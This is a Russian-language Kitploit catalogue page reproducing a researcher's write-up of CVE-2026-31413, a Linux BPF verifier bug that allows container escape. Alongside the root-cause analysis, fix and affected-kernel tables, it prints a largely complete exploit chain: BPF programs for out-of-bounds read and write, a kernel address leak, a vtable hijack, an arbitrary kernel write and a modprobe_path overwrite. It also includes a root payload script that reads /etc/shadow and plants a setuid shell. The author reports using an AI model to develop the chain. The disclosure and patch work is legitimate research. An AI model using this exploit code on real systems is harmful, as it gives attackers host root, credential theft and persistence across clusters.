Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413: ошибка корректности верификатора BPF — побег из контейнера | Kitploit
Инструменты/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеПобег из КонтейнераЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413: ошибка корректности верификатора BPF — побег из контейнера

Репозиторий
1154 месяцев назадЕщё не проверено

CVE-2026-31413: Один байт в BPF-верификаторе — и побег из контейнера

Я нашёл ошибку корректности (soundness) в Linux BPF-верификаторе — + 1 в вызове push_stack(), из-за которого верификатор пропускает ALU-инструкцию на ответвлённом пути. Для BPF_OR это означает, что верификатор отслеживает dst = 0, тогда как CPU вычисляет 0 | K = K. Я написал полноценный побег из контейнера: OOB-чтение/запись из BPF-карты, перехват vtable, перезапись modprobe_path, root на хосте. Затем я подготовил серию из двух патчей — исправление верификатора в один символ и 90 строк selftests — и добился включения её в mainline.

📹 Видео-демонстрация побега из контейнера

CVECVE-2026-31413
Класс ошибкиКорректность верификатора — расхождение значений регистров
Корневая причинаpush_stack(env, env->insn_idx + 1, ...) пропускает ALU-инструкцию на ответвлённом пути
Внесеноbffacdb80b93 — Linux 7.0-rc1 (14 января 2026)
Исправленоc845894ebd6f — Linux 7.0-rc5 (22 марта 2026)
Затронутые версии6.12.75+ (стабильный бэкпорт dea9989a3f) вплоть до 7.0-rc4
ВоздействиеПроизвольное чтение/запись в ядре → побег из контейнера → root на хосте
ТребуетсяCAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
ИсправлениеОдин символ: insn_idx + 1 → insn_idx

TL;DR

maybe_fork_scalars() разветвляет состояние верификатора, когда видит ARSH + AND/OR с константой. Ответвлённый путь получает dst = 0 и пропускает ALU-инструкцию. Для AND это нормально: 0 & K = 0. Для OR это неверно: 0 | K = K, а не 0.

Верификатор считает регистр нулевым. В CPU — K. Я использовал это, чтобы построить произвольное OOB-чтение/запись из значения BPF-карты, получить адрес карты в ядре, собрать поддельную vtable bpf_map_ops, перенаправить map_push_elem через array_map_get_next_key для произвольной записи и перезаписать modprobe_path. Стоит запустить неизвестный бинарный формат — и ядро выполняет мой скрипт от root. Для контейнера это полный побег на хост.

Серия из двух патчей: исправление верификатора в один символ плюс 90 строк BPF-selftests, покрывающих разветвление OR и AND. Влито Алексеем Старовойтовым 22 марта. CVE-2026-31413 присвоен Грегом Кроа-Хартманом 12 апреля.


Предыстория: BPF-верификатор

eBPF позволяет загружать небольшие программы в ядро — фильтры пакетов, перехватчики трассировки, политики безопасности — без компиляции модуля ядра. Загвоздка в том, что вы внедряете код в кольцо 0 (ring 0). Если в этом коде есть ошибка, это ошибка ядра.

Поэтому перед запуском любой BPF-программы верификатор ядра симулирует каждый возможный путь исполнения. Он отслеживает, что находится в каждом регистре (указатель? скаляр? какой диапазон?), проверяет каждый доступ к памяти на соответствие границам карты и отклоняет всё, что может читать или записывать за пределами границ. Если верификатор говорит, что программа безопасна, JIT компилирует её в нативный машинный код и выполняет с полными привилегиями ядра. После этого проверок границ во время выполнения нет. Верификатор и есть граница безопасности.

Именно поэтому ошибки корректности верификатора отличаются от обычного повреждения памяти. При переполнении кучи или UAF вы получаете один примитив повреждения и дальше работаете от него — распыляете кучу, выстраиваете объекты, ловите окно гонки. При ошибке верификатора вы заставляете ядро поверить лжи о значении регистра. Все проверки границ, зависящие от этого регистра, проходят. Ядро одобрило ваш OOB-доступ и выполняет его без вопросов. Если правильно выстроить состояние регистров, из этого получается чистый и надёжный примитив.

Как я это нашёл

Я аудировал maybe_fork_scalars() — новый код, добавленный в январе 2026 года в bffacdb80b93. Разветвление состояния всегда интересно, потому что именно здесь верификатор расходится на параллельные пути исследования, и если какой-то путь отслеживает неверное значение, всё ниже по этому пути становится некорректным (unsound).

Функция разветвляет состояние, когда видит ARSH + AND/OR с константным источником. Ответвлённый путь получает dst = 0 и пропускает ALU-инструкцию. Я читал строку push_stack(env, env->insn_idx + 1, ...) — и меня тут же осенило: + 1 означает, что ответвлённый путь никогда не выполняет ALU-операцию. Для AND 0 & K = 0, так что пропуск допустим. Для OR 0 | K = K. Ответвлённый путь считает результат равным 0, хотя на самом деле это K.

В тот же вечер я написал BPF-программу. ARSH 63, чтобы получить {0, -1}, OR с константой, условная ветка для разделения путей верификатора, и затем сложение «нулевого» регистра с указателем на карту. Верификатор одобрил map_value + 0. CPU обратился к map_value + K. KASAN подтвердил выход за границы при тестировании.

OOB-чтение/запись — к следующему утру. Побег из контейнера — к следующей ночи. На протяжении всей работы я использовал Claude (Opus 4.5) — и для разбора логики разветвления состояния верификатора, и для мозгового штурма примитивов эксплуатации, и для превращения OOB в полную цепочку побега. Подход с перехватом vtable родился в ходе диалога, в котором Claude прошёлся по указателям на функции bpf_map_ops в поисках вызываемых гаджетов.

Коммит, внёсший ошибку

Коммит bffacdb80b93 («bpf: Recognize special arithmetic shift in the verifier») попал в 7.0-rc1 14 января 2026 года. Автор — Алексей Старовойтов, соавтор — Puranjay Mohan. В нём была добавлена maybe_fork_scalars() для обработки паттерна LLVM DAGCombiner:``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM преобразует `select_cc setlt X, 0, A, 0` в `sra + and`. После арифметического сдвига вправо регистр равен либо `0` (неотрицательный вход), либо `-1` (все единицы). AND с константой даёт `0` или `K`.

Верификатор не может отслеживать `{0, K}` в одном `bpf_reg_state` — его диапазон со знаком `[0, K]` является завышенным приближением, и из-за этого он отклонял корректные программы Cilium. Исправление: разветвить состояние верификатора. Один путь исследует `dst = 0`, другой — `dst = -1`, каждый отслеживая точное значение.

Реализация:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

На пути, который был помещён в стек, происходят две вещи:

  1. Регистр назначения устанавливается в 0
  2. Выполнение возобновляется с insn_idx + 1 - инструкции после операции ALU

Для BPF_AND: dst = 0, AND пропускается. Во время выполнения: 0 & K = 0. Совпадает. Корректно.

Для BPF_OR: dst = 0, OR пропускается. Во время выполнения: 0 | K = K. Несовпадение. Верификатор видит 0. Процессор имеет K. Некорректно.

Функция не проверяет код операции. Она была написана для AND - где пропуск инструкции эквивалентен её выполнению с dst = 0 - и была применена также к OR. Для OR эта эквивалентность не выполняется.

Инициирование расхождения

Триггерный паттерн состоит из пяти инструкций:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
Верификатор рассматривает два пути:

**Текущий путь** (`dst = -1`): Операция OR выполняется, `-1 | K` по-прежнему равно `-1`. Ветвь `r6 s< 0` берётся. Верификатор следует по выходу. Этот путь безопасен, и верификатор подтверждает это.

**Отложенный путь** (`dst = 0`, пропущенная OR): `r6 = 0`. Ветвь `r6 s< 0` не берётся. Верификатор переходит к `r9 += r6`, видит `r9 += 0` и одобряет последующий доступ к памяти как находящийся в границах.

**Во время выполнения** (`dst = 0`, OR выполняется): Значение карты положительное, поэтому после ARSH `r6 = 0`. Операция OR выполняется: `0 | K = K`. Ветвь `K s< 0` не берётся (K положительное). `r9 += K` — выход за границы на `K` байт, одобренный верификатором как `r9 += 0`.

Я контролирую `K`. Чтение или запись за границами с произвольным смещением относительно значения любой BPF-карты.

Версия для чтения сохраняет утёкшие данные во вторую карту для получения из пользовательского пространства. Версия для записи загружает значение из третьей карты и записывает его по смещению за границами. Обе проходят верификатор.

Вот полный `oob_read_prog` — это фактический код из эксплойта, а не псевдокод:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

И OOB-запись - тот же трюк с ARSH+OR, но записывает значение из третьей карты в OOB-смещение:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
Чтобы запустить любую из этих программ, я подключаю её к паре сокетов и пропускаю через неё пакет:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

Паттерн «отрицание и сложение» (R7 = 0 - R6; R8 += R7) позволяет нам достигать отрицательных смещений от значения карты - именно там находятся собственные метаданные карты.


Эксплуатация: от OOB к побегу из контейнера

Полная цепочка:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### Целевая компоновка

`BPF_MAP_TYPE_ARRAY` основана на `struct bpf_array`, которая включает
`struct bpf_map` по смещению 0. Фактические значения карты начинаются со смещения 264 (после
заголовка `bpf_array` + выравнивание). Таким образом, от `value[0]` собственные метаданные карты
находятся по известным отрицательным смещениям:```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

Я проверил это с помощью pahole на vmlinux для 6.12.76-docker. На протестированном ядре смещения совпали точно.

Шаг 1: Утечка информации

Два чтения за пределами границ (OOB) дают мне всё необходимое:

wait_list на смещении -136. Это freeze_mutex.wait_list — list_head, который указывает сам на себя, когда мьютекс никем не занят. Его значение — &map->freeze_mutex.wait_list — указатель на ядро, указывающий внутрь структуры карты. Вычтите 128 — и я получаю базовый адрес карты. Прибавьте 264 — и я получаю адрес ядра для value[0].

ops на смещении -264. Это указатель на vtable bpf_map_ops. На немодифицированном ядре он указывает на глобальный символ array_map_ops. Я читаю его, чтобы подтвердить, что ядро не пропатчено, и получить адрес vtable для клонирования.```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
На данный момент у меня есть: адрес ядра карты, адрес контролируемых мной данных (`value[0]`) и подтверждённый указатель на vtable.


### Шаг 2: Поддельная vtable

`bpf_map_ops` содержит 42 слота для указателей на функции. Если я просто обнулю те, что мне не нужны, ядро вызовет NULL-deref при первом же обращении к одному из них. Поэтому я резолвлю каждый символ из `/proc/kallsyms` и создаю полную копию:```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

Слот 15 — это map_push_elem. В реальном array_map_ops здесь NULL (массивы не поддерживают push). Я заменяю его на array_map_get_next_key.

Почему get_next_key? Его сигнатура:```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
Он читает `*(u32 *)key`, инкрементирует его и записывает результат в `*(u32
*)next_key`. При вызове через путь диспетчеризации `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

Аргумент flags попадает в параметр next_key. Если я контролирую flags, я контролирую место записи. Записываемое значение — *(u32 *)value + 1 — небольшое целое число, которое я могу предсказать, задав первые 4 байта моего буфера для push.

Шаг 3: Повреждение карты

Прежде чем я смогу использовать поддельную vtable, мне нужно перенаправить карту на неё и изменить её тип, чтобы ядро отправляло запросы через map_push_elem. Три записи за пределами границ (OOB), выполняемые по порядку:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
Смена типа критически важна. Когда пользовательское пространство вызывает `bpf(BPF_MAP_UPDATE_ELEM)` на array-карте, ядро выполняет диспетчеризацию через `map_update_elem`. Но на queue-карте тот же системный вызов диспетчеризуется через `map_push_elem` - который теперь указывает на `array_map_get_next_key`.

Я предварительно загружаю все шесть BPF-программ (три записи + три восстановления) *до* того, как что-либо повреждаю. Как только я повреждаю указатель `ops`, я больше не могу загружать новые BPF-программы, ссылающиеся на эту карту - верификатор перейдет по фейковой vtable и упадет. Все должно быть подготовлено заранее.

### Шаг 4: Произвольная запись через map_push_elem

Теперь я могу записать 4 байта по любому адресу ядра:```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() вызывает bpf(BPF_MAP_UPDATE_ELEM) с flags = addr. Ядро направляет в мой перехваченный map_push_elem → array_map_get_next_key(map, push_buf, addr). Оно читает *(u32 *)push_buf (которое равно val - 1), добавляет 1 и записывает val в *(u32 *)addr.

Примитив записи — это 4-байтовое сохранение u32 через get_next_key. Ограничений на выравнивание нет — ядро выполняет обычное *(u32 *)addr = val по любому переданному нами адресу.

Шаг 5: перезапись modprobe_path

modprobe_path — это глобальный char[256] в ядре, по умолчанию /sbin/modprobe. Когда ядро встречает исполняемый файл с неизвестным магическим числом, оно вызывает modprobe_path от имени root для загрузки соответствующего модуля. Перезапишу его путём, который я контролирую, вызову неизвестный бинарный формат — и ядро запустит мой скрипт от root.

Целевой путь — /tmpn/mo. Я не могу записывать произвольные строки — я пишу по 4 байта за раз через целочисленное приращение get_next_key. Но мне нужно только две записи:```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
В контейнерном режиме `modprobe_path` разрешается в пространстве имён монтирования init — а не
в пространстве имён контейнера. Поэтому скрипт полезной нагрузки должен находиться по пути `/tmpn/mo` на хосте.
С `--pid=host` или общим пространством имён PID я добираюсь до файловой системы хоста через
`/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

В реальной атаке эксплойт записывает полезную нагрузку в /tmpn/mo на хосте через /proc/1/root/tmpn/mo (доступно, когда под имеет общее пространство имён PID, как это стандартно для сайдкаров сервис-меша, например Cilium, и агентов мониторинга, например Falco). Демо упрощает этот шаг: оркестратор заранее размещает полезную нагрузку на хосте, так что эксплойту нужно лишь инициировать выполнение.

Эксплойт создаёт триггерный бинарник - 4 байта \xff - и выполняет его. Ядро не распознаёт формат, ищет modprobe_path, находит /tmpn/mo и запускает его от имени root.

Полезная нагрузка:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### Шаг 6: Очистка

После записи в `modprobe_path` я восстанавливаю заголовок карты - type, max_entries,
ops - с помощью трёх заранее загруженных программ восстановления. Карта снова
становится обычным массивом. Никакого висящего фейкового vtable, никакой
нестабильности ядра. Эксплойт одноразовый и оставляет чистое состояние.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

In my demo environment, the full chain from first OOB read to root shell took a couple of seconds.


Уровни эксплойтов

Помимо основного побега из контейнера, я создал серию автономных уровней эксплойтов, демонстрирующих различные возможности пост-эксплуатации на основе одного и того же примитива. Каждый уровень представляет собой самодостаточный C-файл в каталоге exploit/, использующий общую вспомогательную библиотеку exploit_common.h для настройки OOB чтения/записи ARSH+OR.

Все уровни восстанавливают все изменения перед завершением. Протестировано на 6.12.76.

Сборка```bash

make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries

root@kitploit:~
Или по отдельности:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

Каждый уровень требует CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.


Структура репозитория```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---


## Кто затронут


Эксплойт требует `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Вы не получите их из непривилегированного контейнера или обычной учётной записи пользователя в укреплённой системе. Но есть много контекстов, где эти capabilities у вас есть.


### Непривилегированные BPF-системы

Если `kernel.unprivileged_bpf_disabled=0` (проверьте через `sysctl`), любой локальный пользователь может загружать BPF-программы. Раньше это было значением по умолчанию на старых дистрибутивах и иногда включается для dev/test окружений. На таких системах это прямое локальное повышение привилегий - от любого пользователя до root, без специальных разрешений.

Большинство современных дистрибутивов поставляются с `unprivileged_bpf_disabled=1` или `=2` (заблокировано), поэтому этот путь закрыт в стандартных установках Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9 и т.д.


### Kubernetes / контейнерные окружения

Именно здесь баг наносит удар. Стандартные непривилегированные контейнеры сбрасывают `CAP_BPF`, поэтому они не могут вызвать баг. Но многие инфраструктурные поды работают с повышенными capabilities:

| Продукт | Привилегии по умолчанию | Примечания |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Сетевая политика, работает на каждом узле |
| **Falco** | `privileged: true` | Безопасность времени выполнения, монтирует /dev |
| **Tetragon** | `privileged: true` | eBPF-наблюдаемость |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 more | Метрики, логи, APM |
| **Pixie** | `privileged: true` | Наблюдаемость на основе eBPF |
| **Tracee** | `privileged: true` or BPF caps | Средство безопасности времени выполнения от Aqua |

Обычно они работают как DaemonSets - по одному поду на узел, в масштабе всего кластера. Если атакующий скомпрометирует любой из этих подов (RCE в веб-сервисе на том же узле, атака на цепочку поставок, SSRF в API агента и т.д.), у него будут необходимые capabilities для запуска этого эксплойта и выхода на root хоста.

**Важное предостережение:** Эксплойт работает только на ядрах, содержащих уязвимый код (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 — 7.0-rc4). Большинство продакшн-кластеров K8s работают на более старых LTS-ядрах. Проверьте версию ядра вашего узла с помощью `uname -r`, прежде чем предполагать возможность эксплуатации.

С root хоста на одном узле боковое перемещение на другие узлы обычно возможно через тот же DaemonSet (общие сервисные аккаунты, примонтированные секреты и т.д.).


### Управляемый Kubernetes (GKE, EKS, AKS)

Google GKE по умолчанию использует Cilium в качестве Dataplane V2. Если узлы GKE работают на непропатченном ядре 6.12.x (проверьте версию вашего пула узлов), компрометация любого пода Cilium превращается в root хоста и захват узла. Я создал эксплойт специально для этого сценария - поэтому он называется `exploit_gke.c`.

Amazon EKS и Azure AKS также потенциально затронуты, если они работают на ядрах 6.12.x с Cilium или аналогичным сетевым стеком на основе BPF. Нужно проверить конкретные версии образов AMI/VM.


### Android

Android использует eBPF для учёта сетевого трафика (netd), профилирования энергопотребления и отслеживания памяти. Текущие устройства Android (14/15) используют LTS-ядра 6.1, которые **не затронуты**. Android 16 может перейти на 6.12 LTS - если это произойдёт, и если в него попадёт уязвимый бэкпорт, поверхность атаки будет включать системные сервисы, такие как `netd` и `system_server`, которые загружают BPF-программы.

Это предположительно и зависит от сроков внедрения ядра Android. Я подал заявку в Android VRP для отслеживания.


### Контейнеры с общим ядром (LXC/LXD)

Системные контейнеры, разделяющие ядро хоста (в отличие от ВМ), полностью открыты. Компрометация общего ядра = компрометация хоста + всех остальных контейнеров на нём. Это отличается от Docker/containerd, где вы выходите на хост, который сам может быть ВМ.


### Что он не обходит

Это баг ядра гостевой системы, а не побег из гипервизора. Если вы запустите эксплойт внутри инстанса EC2, вы получите root на этом инстансе - вы не выходите за пределы гипервизора Nitro к физическому хосту или другим арендаторам. То же самое для GCE, Azure VMs, KVM и т.д. Аппаратная граница сохраняется.


### Затронутые ядра

| Ветка | Затронутые | Исправленные |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` до 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` до 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` до 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 — 7.0-rc4 | 7.0-rc5+ |

Коммит, вносящий уязвимость: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Исправляющий коммит: `c845894ebd6f`

`CAP_BPF` — небезопасная capability. Баг в верификаторе превращает её в произвольное чтение/запись ядра. Продукты, которые предоставляют её рабочим подам, должны относиться к ней как к `CAP_SYS_ADMIN`.


---


## Исправление


Один символ:```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

Вместо того чтобы отправлять ветку на insn_idx + 1 (пропуская ALU-инструкцию), отправляем на insn_idx — на саму инструкцию. Отправленный путь повторно выполняет ALU-операцию с dst = 0:

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

Изначальный подход был хитроумным — пропустить инструкцию и захардкодить результат, экономя один шаг верификатора на отправленном пути. Но эта оптимизация работает только тогда, когда результат выполнения инструкции с dst = 0 является нулевым. Для AND это верно, для OR — нет. Исправление отказывается от оптимизации: просто заново выполнить инструкцию и позволить верификатору вычислить корректное значение для любой операции.

Я перебрал три ревизии патча:

  • v1: Добавил параметр opcode в maybe_fork_scalars() и установил dst = K для OR и dst = 0 для AND на отправленном пути. Работало, но добавляло сложность.
